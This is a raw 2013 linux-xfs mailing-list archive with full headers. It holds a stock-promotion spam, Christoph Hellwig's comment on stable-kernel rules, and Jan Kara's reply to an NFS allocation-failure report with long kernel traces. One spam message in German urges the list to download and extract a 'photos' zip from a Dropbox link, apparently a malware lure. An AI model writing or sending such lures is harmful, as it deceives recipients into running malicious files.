tests=HTML_MESSAGE, NUMERIC_HTTP_ADDR, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140824 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 NUMERIC_HTTP_ADDR URI: Uses a numeric IP address in URL 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_BD48E_01CEB785.132665E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit linux-xfs The No. 1 Stock Price Forecast Engine! Stock100! No virus! Just search on google.com for stock100 before you visit. https://www.google.com/#newwindow=1&q=stock100 No Bulls, just raw computer power. WWW.STOCK100.COM . Don't miss it! Please email: remove@stock100.com to be removed from receiving future marketing materials. this is a promotion message from forecastation limited unit 1303, 13/f, beverly house, 93-107 lockhart road, wanchai, hong kong ------=_NextPart_000_BD48E_01CEB785.132665E0 Content-Type: text/html Content-Transfer-Encoding: 7bit 今年以来,上海股市与深圳股市双双震荡下行,投资人赚少赔多

linux-xfs

 

The No. 1 Stock Price Forecast Engine! Stock100!

No virus! Just search on google.com for stock100 before you visit.

https://www.google.com/#newwindow=1&q=stock100

 

No Bulls, just raw computer power. WWW.STOCK100.COM .

 

Don't miss it!

 

 

Please email: remove@stock100.com to be removed from receiving future marketing materials.

 

this is a promotion message from forecastation limited

unit 1303, 13/f, beverly house, 93-107 lockhart road, wanchai, hong kong

 

------=_NextPart_000_BD48E_01CEB785.132665E0-- From BATV+9f411051d5a664cd2217+3682+infradead.org+hch@bombadil.srs.infradead.org Sun Sep 22 13:51:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3AA2629DFB for ; Sun, 22 Sep 2013 13:51:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0C969304032 for ; Sun, 22 Sep 2013 11:51:21 -0700 (PDT) X-ASG-Debug-ID: 1379875875-04bdf02f231317bc0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id NLxd976hxmYqI6AY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 22 Sep 2013 11:51:17 -0700 (PDT) X-Barracuda-Envelope-From: BATV+9f411051d5a664cd2217+3682+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VNokK-0002zK-SO; Sun, 22 Sep 2013 18:51:04 +0000 Date: Sun, 22 Sep 2013 11:51:04 -0700 From: Christoph Hellwig To: Joe Perches Cc: David Miller , stephen@networkplumber.org, netdev@vger.kernel.org, Mikulas Patocka , Greg Kroah-Hartman , Rob Landley , linux-doc@vger.kernel.org, LKML , xfs@oss.sgi.com Subject: Re: [PATCH] stable_kernel_rules.txt: Exclude networking from stable rules Message-ID: <20130922185104.GA7515@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] stable_kernel_rules.txt: Exclude networking from stable rules References: <20130919.135628.1201613770803318193.davem@davemloft.net> <1379615474.22168.13.camel@joe-AO722> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1379615474.22168.13.camel@joe-AO722> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1379875877 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140826 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This is also the preferred way to do it for XFS. Maybe word it in a way that we can easily add subsystems. To me it generally seems to be the best way to do it - having random Ccs and lots of stable trees doesn't seem like a very good way of handling it. From mishel@gmail.com Sun Sep 22 16:25:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BC94B29DFB for ; Sun, 22 Sep 2013 16:25:12 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9DFA0304032 for ; Sun, 22 Sep 2013 14:25:09 -0700 (PDT) X-ASG-Debug-ID: 1379885104-04bdf02f2313204b0001-w1Z2WR Received: from smtp.intrehosting.it (host74-13-37-46.dns0.intrehosting.it [46.37.13.74]) by cuda.sgi.com with ESMTP id P4aH3t20ICUJyawQ for ; Sun, 22 Sep 2013 14:25:04 -0700 (PDT) X-Barracuda-Envelope-From: mishel@gmail.com X-Barracuda-Apparent-Source-IP: 46.37.13.74 Received: from [192.210.200.223] ([192.210.200.223]) by intrehosting.it with MailEnable ESMTP; Sun, 22 Sep 2013 19:27:05 +0200 From: "mishel" To: "linux-xfs" Subject: Laden Sie Message-ID: X-ASG-Orig-Subj: Laden Sie Date: Sun, 22 Sep 2013 13:05:01 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0001_3231625C.F22CD344" X-Priority: 3 X-Mailer: Microsoft Office Outlook 12.0 X-ME-Bayesian: 40.000000 X-Barracuda-Connect: host74-13-37-46.dns0.intrehosting.it[46.37.13.74] X-Barracuda-Start-Time: 1379885104 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140831 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS This is a multi-part message in MIME format. ------=_NextPart_000_0001_3231625C.F22CD344 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hallo Mann, linux-xfs@oss.sgi.com=0D=0A=0D=0ALaden Sie die = Bilder und extrahieren sie, ich bin sicher, dass Sie sie m=F6gen=0D=0A= =0D=0ALaden Sie es von hier: https://www.dropbox.com/s/q2bonkavyhvk3js= /photos-of.zip ------=_NextPart_000_0001_3231625C.F22CD344 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =0D=0A=0D=0A=0D=0A=0D=0A=0D=0A
=0D=0A
=0D=0A
Hallo = Mann,  linux-xfs@oss.sgi.com

Laden = Sie die Bilder und e= xtrahieren sie, ich bin = sicher, dass Sie sie = m=F6gen

Laden Sie es von = hier: https://www.dropbox.com/s/q2bonkavyhvk3js/photos= -of.zip
------=_NextPart_000_0001_3231625C.F22CD344-- From jack@suse.cz Sun Sep 22 16:48:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 44D1F29DFB for ; Sun, 22 Sep 2013 16:48:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6D485AC001 for ; Sun, 22 Sep 2013 14:48:06 -0700 (PDT) X-ASG-Debug-ID: 1379886476-04cb6c2e9d12dcc20001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id crf3JjueRi3s0LJH for ; Sun, 22 Sep 2013 14:47:56 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 70229A52C6; Sun, 22 Sep 2013 23:47:55 +0200 (CEST) Received: by quack.suse.cz (Postfix, from userid 1000) id 44A4980EB6; Thu, 19 Sep 2013 16:49:48 +0200 (CEST) Date: Thu, 19 Sep 2013 16:49:48 +0200 From: Jan Kara To: Stevie Trujillo Cc: linux-kernel@vger.kernel.org, linux-raid@vger.kernel.org, dm-devel@redhat.com, linux-nfs@vger.kernel.org, xfs@oss.sgi.com, linux-mm@kvack.org Subject: Re: linux-3.10.12 dies after many allocation errors when copying lots of data to it over nfs. How to debug? Message-ID: <20130919144948.GC20140@quack.suse.cz> X-ASG-Orig-Subj: Re: linux-3.10.12 dies after many allocation errors when copying lots of data to it over nfs. How to debug? References: <20130918230514.1d0e0ac5@localhost> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130918230514.1d0e0ac5@localhost> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1379886476 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FUZZY_VPILL X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140831 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 FUZZY_VPILL BODY: Attempt to obfuscate words in spam Hello, On Wed 18-09-13 23:05:14, Stevie Trujillo wrote: > my server dies when copying lots of data to it over nfs. I upgraded it to the > latest stable kernel 3.10.12 (from 3.9.8), enabled netconsole and tried again. > It died after 2-3 hours, but it looks like most of the call traces only show > the stack used to send the netconsole message. > > I have 6x 3TB harddrives (ST3000DM001-1CH166) configured like this: > sd{a..f}3 <= mdadm raid6 <= lvm dm_crypt <= xfs (<= nfsd) Hum, that's rather complex storage stack. Can you reproduce the problem with generating data directly on the server (e.g. by running 10 parallel processes doing 'dd if=/dev/zero of=/your-fs bs=1M count=30000')? My suspicion is that the dm_crypt target is what makes things unusual and can lead to problems. > To copy the files I run "rsync -av --progress ./300gb-folder /mnt/nfs-server/" > from a faster computer. I think the server is having trouble keeping up. > > What should I do to debug this? REPORTING-BUGS said I should narrow down the > subsystem, so I picked the ones that seemed relevant in the MAINTAINERS file. > > model name: Intel(R) Core(TM)2 Quad CPU @ 2.40GHz > RAM: 4GiB (~500MiB used in htop) > Network speed: 1000mbit/s > 00:1f.2 SATA controller: Intel Corporation 82801IR/IO/IH (ICH9R/DO/DH) 6 port SATA Controller [AHCI mode] (rev 02) > 03:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168 PCI Express Gigabit Ethernet controller (rev 01) > > Netconsole output: > ~18:30 started copying > Sep 18 20:48:55 [88988.266617] cron: page allocation failure: order:0, mode:0x20 > Sep 18 20:48:55 [88988.266651] CPU: 1 PID: 2634 Comm: cron Not tainted 3.10.12 #1 > Sep 18 20:48:55 [88988.266665] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 > Sep 18 20:48:55 [88988.266685] 0000000000000020 ffff88010bc83bd8 ffffffff812665b6 ffff88010bc83c68 > Sep 18 20:48:55 [88988.266716] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 > Sep 18 20:48:55 [88988.266892] ffffffff810507e7 0000000000000030 ffff8801060046b8 ffff88010bc83e84 > Sep 18 20:48:55 [88988.267214] Call Trace: > Sep 18 20:48:55 [88988.267368] [] dump_stack+0x19/0x1b > Sep 18 20:48:55 [88988.267548] [] warn_alloc_failed+0x110/0x124 > Sep 18 20:48:55 [88988.267712] [] ? update_sd_lb_stats+0x23f/0x481 > Sep 18 20:48:55 [88988.267876] [] __alloc_pages_nodemask+0x2d6/0x5d9 > Sep 18 20:48:55 [88988.268041] [] ? set_task_cpu+0x68/0xa4 > Sep 18 20:48:55 [88988.268201] [] ? enqueue_task_fair+0x9e/0x130 > Sep 18 20:48:55 [88988.268367] [] __netdev_alloc_frag+0x5b/0xff > Sep 18 20:48:55 [88988.268528] [] __netdev_alloc_skb+0x39/0x9a > Sep 18 20:48:55 [88988.268705] [] rtl8169_poll+0x21b/0x4cd [r8169] > Sep 18 20:48:55 [88988.268866] [] ? sched_slice.isra.47+0x70/0x7f > Sep 18 20:48:55 [88988.269030] [] net_rx_action+0xa3/0x181 > Sep 18 20:48:55 [88988.269193] [] __do_softirq+0xb7/0x16d > Sep 18 20:48:55 [88988.269354] [] irq_exit+0x3e/0x83 All the allocation failures are for GFP_ATOMIC allocations. These are not a fundamental problem - atomic allocations are expected to fail from time to time. Although you get *lots* of them. So the culprit of the hang is likely somewhere else. Any chance of setting up proper serial console or taking a picture of VGA console? Hopefully that would tell us something more. Anyway I'm CCing linux-mm as those guys could have better idea of where to look. Honza > Sep 18 20:48:55 [88988.269513] cron: page allocation failure: order:0, mode:0x200020 > Sep 18 20:48:55 [88988.269515] CPU: 1 PID: 2634 Comm: cron Not tainted 3.10.12 #1 > Sep 18 20:48:55 [88988.269516] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 > Sep 18 20:48:55 [88988.269520] 0000000000200020 ffff88010bc83488 ffffffff812665b6 ffff88010bc83518 > Sep 18 20:48:55 [88988.269522] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffffffff00000002 > Sep 18 20:48:55 [88988.269525] ffff88010bc834d0 ffffffff00000030 ffff88010bc834f0 0000000000000082 > Sep 18 20:48:55 [88988.269526] Call Trace: > Sep 18 20:48:55 [88988.269529] [] dump_stack+0x19/0x1b > Sep 18 20:48:55 [88988.269532] [] warn_alloc_failed+0x110/0x124 > Sep 18 20:48:55 [88988.269536] [] __alloc_pages_nodemask+0x2d6/0x5d9 > Sep 18 20:48:55 [88988.269540] [] ? vsnprintf+0x37d/0x435 > Sep 18 20:48:55 [88988.269544] [] alloc_slab_page+0x21/0x23 > Sep 18 20:48:55 [88988.269547] [] new_slab+0x75/0x1ba > Sep 18 20:48:55 [88988.269550] [] __slab_alloc.constprop.71+0x12e/0x3f5 > Sep 18 20:48:55 [88988.269552] [] ? __alloc_skb+0x44/0x19e > Sep 18 20:48:55 [88988.269556] [] ? __kmalloc_track_caller+0x3c/0xc8 > Sep 18 20:48:55 [88988.269558] [] kmem_cache_alloc+0x3b/0x91 > Sep 18 20:48:55 [88988.269561] [] __alloc_skb+0x44/0x19e > Sep 18 20:48:55 [88988.269565] [] find_skb.isra.25+0x35/0x7e > Sep 18 20:48:55 [88988.269567] [] netpoll_send_udp+0x5d/0x334 > Sep 18 20:48:55 [88988.269572] [] write_msg+0xb7/0xec [netconsole] > Sep 18 20:48:55 [88988.269576] [] call_console_drivers.constprop.23+0x75/0x80 > Sep 18 20:48:55 [88988.269579] [] console_unlock+0x268/0x2fa > Sep 18 20:48:55 [88988.269582] [] vprintk_emit+0x347/0x372 > Sep 18 20:48:57 [88988.269585] [] ? irq_exit+0x3e/0x83 > Sep 18 20:48:57 [88988.269588] [] printk+0x48/0x4a > Sep 18 20:48:57 [88988.269590] [] ? irq_exit+0x3e/0x83 > Sep 18 20:48:57 [88988.269593] [] ? irq_exit+0x3e/0x83 > Sep 18 20:48:57 [88988.269596] [] printk_address+0x2c/0x2e > Sep 18 20:48:57 [88988.269599] [] print_trace_address+0x1f/0x24 > Sep 18 20:48:57 [88988.269601] [] print_context_stack+0x67/0xb1 > Sep 18 20:49:01 [88993.386206] warn_alloc_failed: 11056 callbacks suppressed > Sep 18 20:49:01 [88993.386409] kworker/1:22: page allocation failure: order:0, mode:0x20 > Sep 18 20:49:01 [88993.386572] CPU: 1 PID: 804 Comm: kworker/1:22 Not tainted 3.10.12 #1 > Sep 18 20:49:01 [88993.386733] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 > Sep 18 20:49:01 [88993.387066] Workqueue: kcryptd kcryptd_crypt [dm_crypt] > Sep 18 20:49:01 [88993.387228] 0000000000000020 ffff88010bc83bd8 ffffffff812665b6 ffff88010bc83c68 > Sep 18 20:49:01 [88993.387402] kworker/1:22: page allocation failure: order:0, mode:0x200020 > Sep 18 20:49:01 [88993.387404] CPU: 1 PID: 804 Comm: kworker/1:22 Not tainted 3.10.12 #1 > Sep 18 20:49:01 [88993.387405] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 > Sep 18 20:49:01 [88993.387409] Workqueue: kcryptd kcryptd_crypt [dm_crypt] > Sep 18 20:49:01 [88993.387411] 0000000000200020 ffff88010bc835e8 ffffffff812665b6 ffff88010bc83678 > Sep 18 20:49:01 [88993.387414] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 > Sep 18 20:49:01 [88993.387417] ffffffff811de030 ffff880100000030 0000000000000096 ffff88010bc93f0a > Sep 18 20:49:01 [88993.387420] Call Trace: > Sep 18 20:49:01 [88993.387422] [] dump_stack+0x19/0x1b > Sep 18 20:49:01 [88993.387430] [] warn_alloc_failed+0x110/0x124 > Sep 18 20:49:01 [88993.387435] [] ? __alloc_skb+0x44/0x19e > Sep 18 20:49:01 [88993.387440] [] __alloc_pages_nodemask+0x2d6/0x5d9 > Sep 18 20:49:01 [88993.387443] [] ? vsnprintf+0x77/0x435 > Sep 18 20:49:07 [88999.386191] warn_alloc_failed: 23962 callbacks suppressed > Sep 18 20:49:07 [88999.386385] __slab_alloc: 23956 callbacks suppressed > Sep 18 20:49:07 [88999.386386] SLUB: Unable to allocate memory on node -1 (gfp=0x20) > Sep 18 20:49:07 [88999.386388] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 > Sep 18 20:49:07 [88999.386390] node 0: slabs: 468, objs: 7488, free: 0 > Sep 18 20:49:07 [88999.386559] SLUB: Unable to allocate memory on node -1 (gfp=0x20) > Sep 18 20:49:07 [88999.386561] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 > Sep 18 20:49:07 [88999.386562] node 0: slabs: 468, objs: 7488, free: 0 > Sep 18 20:49:07 [88999.386565] SLUB: Unable to allocate memory on node -1 (gfp=0x20) > Sep 18 20:49:07 [88999.386567] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 > Sep 18 20:49:07 [88999.386568] node 0: slabs: 468, objs: 7488, free: 0 > Sep 18 20:49:07 [88999.386728] SLUB: Unable to allocate memory on node -1 (gfp=0x20) > Sep 18 20:49:07 [88999.386730] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 > Sep 18 20:49:07 [88999.386732] node 0: slabs: 468, objs: 7488, free: 0 > Sep 18 20:49:07 [88999.386734] SLUB: Unable to allocate memory on node -1 (gfp=0x20) > Sep 18 20:49:07 [88999.386736] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 > Sep 18 20:49:07 [88999.386737] node 0: slabs: 468, objs: 7488, free: 0 > Sep 18 20:49:07 [88999.387047] SLUB: Unable to allocate memory on node -1 (gfp=0x20) > Sep 18 20:49:07 [88999.387049] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 > Sep 18 20:49:07 [88999.387050] node 0: slabs: 468, objs: 7488, free: 0 > Sep 18 20:49:07 [88999.387053] SLUB: Unable to allocate memory on node -1 (gfp=0x20) > Sep 18 20:49:07 [88999.387055] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 > Sep 18 20:49:07 [88999.387056] node 0: slabs: 468, objs: 7488, free: 0 > Sep 18 20:49:07 [88999.387215] SLUB: Unable to allocate memory on node -1 (gfp=0x20) > Sep 18 20:49:07 [88999.387217] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 > Sep 18 20:49:07 [88999.387219] node 0: slabs: 468, objs: 7488, free: 0 > Sep 18 20:49:07 [88999.387221] SLUB: Unable to allocate memory on node -1 (gfp=0x20) > Sep 18 20:49:07 [88999.387223] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 > Sep 18 20:49:07 [88999.387224] node 0: slabs: 468, objs: 7488, free: 0 > Sep 18 20:49:07 [88999.387385] SLUB: Unable to allocate memory on node -1 (gfp=0x20) > Sep 18 20:49:07 [88999.387387] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 > Sep 18 20:49:07 [88999.387388] node 0: slabs: 468, objs: 7488, free: 0 > Sep 18 20:50:19 [89071.386168] warn_alloc_failed: 12487 callbacks suppressed > Sep 18 20:50:19 [89071.386361] imap-login: page allocation failure: order:0, mode:0x20 > Sep 18 20:50:19 [89071.386524] CPU: 3 PID: 28011 Comm: imap-login Not tainted 3.10.12 #1 > Sep 18 20:50:19 [89071.386686] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 > Sep 18 20:50:19 [89071.386997] 0000000000000020 ffff88010bd83bd8 ffffffff812665b6 ffff88010bd83c68 > Sep 18 20:50:19 [89071.387320] ffffffff81085fbb > Sep 18 20:50:19 [89071.387330] imap-login: page allocation failure: order:0, mode:0x200020 > Sep 18 20:50:19 [89071.387333] CPU: 3 PID: 28011 Comm: imap-login Not tainted 3.10.12 #1 > Sep 18 20:50:19 [89071.387334] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 > Sep 18 20:50:19 [89071.387335] 0000000000200020 ffff88010bd835e8 ffffffff812665b6 ffff88010bd83678 > Sep 18 20:50:19 [89071.387338] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 > Sep 18 20:50:19 [89071.387341] ffffffffa01b3e25 ffff880100000030 ffff88010328e700 0000000180100010 > Sep 18 20:50:19 [89071.387345] Call Trace: > Sep 18 20:50:19 [89071.387346] [] dump_stack+0x19/0x1b > Sep 18 20:50:19 [89071.387356] [] warn_alloc_failed+0x110/0x124 > Sep 18 20:50:19 [89071.387371] [] ? dma_map_single_attrs.constprop.96+0x71/0x7c [r8169] > Sep 18 20:50:19 [89071.387379] [] __alloc_pages_nodemask+0x2d6/0x5d9 > Sep 18 20:50:19 [89071.387383] [] ? native_sched_clock+0x39/0x3b > Sep 18 20:50:19 [89071.387387] [] ? resched_task+0x36/0x60 > Sep 18 20:50:24 [89077.080411] warn_alloc_failed: 23061 callbacks suppressed > Sep 18 20:50:24 [89077.080611] cron: page allocation failure: order:0, mode:0x20 > Sep 18 20:50:24 [89077.080775] CPU: 1 PID: 2634 Comm: cron Not tainted 3.10.12 #1 > Sep 18 20:50:24 [89077.080936] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 > Sep 18 20:50:24 [89077.081246] 0000000000000020 ffff88010bc83bd8 ffffffff812665b6 ffff88010bc83c68 > Sep 18 20:50:24 [89077.081568] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 > Sep 18 20:50:24 [89077.081890] ffffffff810507e7 0000000000000030 > Sep 18 20:50:24 [89077.081905] cron: page allocation failure: order:0, mode:0x200020 > Sep 18 20:50:24 [89077.081907] CPU: 1 PID: 2634 Comm: cron Not tainted 3.10.12 #1 > Sep 18 20:50:24 [89077.081909] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 > Sep 18 20:50:24 [89077.081910] 0000000000200020 ffff88010bc835e8 ffffffff812665b6 ffff88010bc83678 > Sep 18 20:50:24 [89077.081913] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 > Sep 18 20:50:24 [89077.081916] ffffffff811de030 ffff880100000030 0000000000000096 ffff88010bc93f0a > Sep 18 20:50:24 [89077.081919] Call Trace: > Sep 18 20:50:24 [89077.081921] [] dump_stack+0x19/0x1b > Sep 18 20:50:24 [89077.081931] [] warn_alloc_failed+0x110/0x124 > Sep 18 20:50:24 [89077.081937] [] ? __alloc_skb+0x44/0x19e > Sep 18 20:50:24 [89077.081942] [] __alloc_pages_nodemask+0x2d6/0x5d9 > Sep 18 20:50:24 [89077.081945] [] ? native_sched_clock+0x39/0x3b > Sep 18 20:50:24 [89077.081949] [] ? resched_task+0x36/0x60 > Sep 18 20:50:29 [89082.130410] warn_alloc_failed: 23399 callbacks suppressed > Sep 18 20:50:29 [89082.130608] mdadm: page allocation failure: order:0, mode:0x20 > Sep 18 20:50:29 [89082.130773] CPU: 3 PID: 6622 Comm: mdadm Not tainted 3.10.12 #1 > Sep 18 20:50:29 [89082.130933] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 > Sep 18 20:50:29 [89082.131245] 0000000000000020 ffff88010bd83bd8 ffffffff812665b6 ffff88010bd83c68 > Sep 18 20:50:29 [89082.131566] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 > Sep 18 20:50:29 [89082.131886] ffffffff81210acc 0000000000000030 ffff880100000000 ffff88010bd83c38 > Sep 18 20:50:29 [89082.132208] Call Trace: > Sep 18 20:50:29 [89082.132362] [] dump_stack+0x19/0x1b > Sep 18 20:50:29 [89082.132538] mdadm: page allocation failure: order:0, mode:0x200020 > Sep 18 20:50:29 [89082.132541] CPU: 3 PID: 6622 Comm: mdadm Not tainted 3.10.12 #1 > Sep 18 20:50:29 [89082.132542] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 > Sep 18 20:50:29 [89082.132545] 0000000000200020 ffff88010bd83488 ffffffff812665b6 ffff88010bd83518 > Sep 18 20:50:29 [89082.132548] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 > Sep 18 20:50:29 [89082.132550] ffffffff8108817a ffffffff00000030 ffffffff00000000 ffffffff813b5e68 > Sep 18 20:50:29 [89082.132551] Call Trace: > Sep 18 20:50:29 [89082.132555] [] dump_stack+0x19/0x1b > Sep 18 20:50:29 [89082.132561] [] warn_alloc_failed+0x110/0x124 > Sep 18 20:50:29 [89082.132564] [] ? __alloc_pages_nodemask+0x2d6/0x5d9 > Sep 18 20:50:29 [89082.132567] [] __alloc_pages_nodemask+0x2d6/0x5d9 > Sep 18 20:50:29 [89082.132572] [] ? vsnprintf+0x37d/0x435 > Sep 18 20:50:29 [89082.132576] [] alloc_slab_page+0x21/0x23 > Sep 18 20:50:29 [89082.132579] [] new_slab+0x75/0x1ba > Sep 18 20:50:29 [89082.132582] [] __slab_alloc.constprop.71+0x12e/0x3f5 > Sep 18 20:50:29 [89082.132587] [] ? __alloc_skb+0x44/0x19e > Sep 18 20:50:29 [89082.132590] [] ? symbol_string.isra.8+0x7c/0xa2 > Sep 18 20:50:29 [89082.132593] [] kmem_cache_alloc+0x3b/0x91 > Sep 18 20:50:29 [89082.132596] [] __alloc_skb+0x44/0x19e > Sep 18 20:50:29 [89082.132599] [] find_skb.isra.25+0x35/0x7e > Sep 18 20:50:29 [89082.132602] [] netpoll_send_udp+0x5d/0x334 > Sep 18 20:50:29 [89082.132607] [] write_msg+0xb7/0xec [netconsole] > Sep 18 20:50:29 [89082.132613] [] call_console_drivers.constprop.23+0x75/0x80 > Sep 18 20:50:29 [89082.132616] [] console_unlock+0x137/0x2fa > Sep 18 20:50:29 [89082.132620] [] ? down_trylock+0x27/0x32 > Sep 18 20:50:32 [89082.132623] [] vprintk_emit+0x347/0x372 > Sep 18 20:50:32 [89082.132626] [] ? dump_stack+0x19/0x1b > Sep 18 20:50:32 [89082.132629] [] printk+0x48/0x4a > Sep 18 20:50:32 [89082.132631] [] ? dump_stack+0x19/0x1b > Sep 18 20:50:32 [89082.132634] [] ? dump_stack+0x19/0x1b > Sep 18 20:50:32 [89082.132638] [] printk_address+0x2c/0x2e > Sep 18 20:50:36 [89088.795176] warn_alloc_failed: 11990 callbacks suppressed > Sep 18 20:50:36 [89088.795367] __slab_alloc: 11988 callbacks suppressed > Sep 18 20:50:36 [89088.795369] SLUB: Unable to allocate memory on node -1 (gfp=0x20) > Sep 18 20:50:36 [89088.795372] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 > Sep 18 20:50:36 